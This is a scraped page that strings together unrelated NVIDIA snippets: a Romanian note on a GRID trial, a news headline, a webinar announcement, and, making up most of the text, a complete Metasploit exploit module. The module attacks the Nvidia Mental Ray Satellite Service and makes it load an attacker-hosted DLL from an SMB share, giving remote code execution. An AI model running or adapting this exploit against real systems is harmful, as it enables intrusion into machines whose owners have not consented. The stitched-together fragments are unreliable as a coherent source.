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Specs: - 15 GB RAM - 100 GB HDD - 1 Gbit/s network - NVIDIA GRID GPU - 12 CPU Cores - Windows OS PS: Trebuie s? verificati cu num?rul de telefon. https://trial.gimli.nvidiagrid.net/accounts/register/
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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection', 'Description' => %q{ The Nvidia Mental Ray Satellite Service listens for control commands on port 7414. When it receives the command to load a DLL (via an UNC path) it will try to connect back to the host on port 7514. If a TCP connection is successful it will then attempt to load the DLL. This module has been tested successfully on Win7 x64 with Nvidia Mental Ray Satellite Service v3.11.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Discovery 'Donato Ferrante', # Discovery 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module ], 'References' => [ [ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Dec 10 2013', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(7414), OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME') end def primer self.file_contents = generate_payload_dll print_status("File available on #{unc}...") print_status("Trying to execute remote DLL...") send_exploit end def setup super # These lengths are required, although we specify the UNC path # length in the exploit, the header probably has another length # value we don't adjust. self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll" self.share = Rex::Text.rand_text_alpha(5) end def exploit begin Timeout.timeout(datastore['SMB_DELAY']) { super } rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end end def send_exploit # No idea what most of this hello is... hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7" hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000" hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000" hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f" hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000" hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000" hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000" hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009" hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000" hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000" hello << "0000000030000000a000000" hello = Rex::Text.hex_to_raw(hello) # Start of command - again no idea what this is... load_dll = Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013") # Length of path string including null byte load_dll << [unc.length + 1].pack('V') # Data type? load_dll << [2].pack('V') # Assembly Load? load_dll << "AL" load_dll << unc << "\x00" # Some padding at the end... load_dll << rand_text_alpha(1386 - unc.length) # We have to start a second listening port although we dont actually care about # handling client connections. It appears as long as the service can make a # connection its happy and will move onto the DLL loading create_listen_port vprint_status("Connecting to target and sending commands") connect sock.put(hello) sock.put(load_dll) print_status("Instructed the service to load #{unc}...") end def create_listen_port port = datastore['LISTEN_PORT'] comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => port, 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) # Register callbacks @listener.on_client_connect_proc = proc { |cli| add_socket(cli) begin print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...") ensure # Need to close the socket for the SMB request to be # initiated... remove_socket(cli) end } @listener.start vprint_status("Started listening on TCP port #{port}") end def cleanup super return unless @listener begin @listener.deref if @listener.is_a?(Rex::Service) if @listener.is_a?(Rex::Socket) @listener.close @listener.stop end @listener = nil rescue ::Exception end end end Source
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https://www.youtube.com/watch?v=spZJrsssPA0 NVIDIA GeForce GTX 970 memory issue to be fixed with new driver update | Christian News on Christian Today
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With the latest release of Nsight™ Visual Studio Edition 3.1, we are excited to present the latest features available to help developers profile, analyse, debug and optimize their GPGPU and graphics applications. Sign Up For The Upcoming Webinars Hosted By GPU Technology Conference Express Webinar Program. The first series of webinars scheduled for September 19th and September 26th, respectively focus on OpenGL 4.2 debugging and OpenGL 4.2 profiling. [table=width: 700, align: center] [tr] [td]Date[/td] [td]Title[/td] [td]Speaker[/td] [td][/td] [/tr] [tr] [td]September 26, 2013, 10:00 AM PDT[/td] [td]Learn How to Profile OpenGL 4.2 with NVIDIA® Nsight™ Visual Studio Edition 3.1[/td] [td]Jeff Kiel, Manager, Graphics Tools, NVIDIA[/td] [td]Register Now[/td] [/tr] [tr] [td]September 19, 2013, 10:00 AM PDT[/td] [td]Learn How to Debug OpenGL 4.2 with NVIDIA® Nsight™ Visual Studio Edition 3.1[/td] [td]Daniel Price, Programmer, Graphics Tools, NVIDIA[/td] [td]Register Now[/td] [/tr] [/table] Register to Nvidia developers Here.
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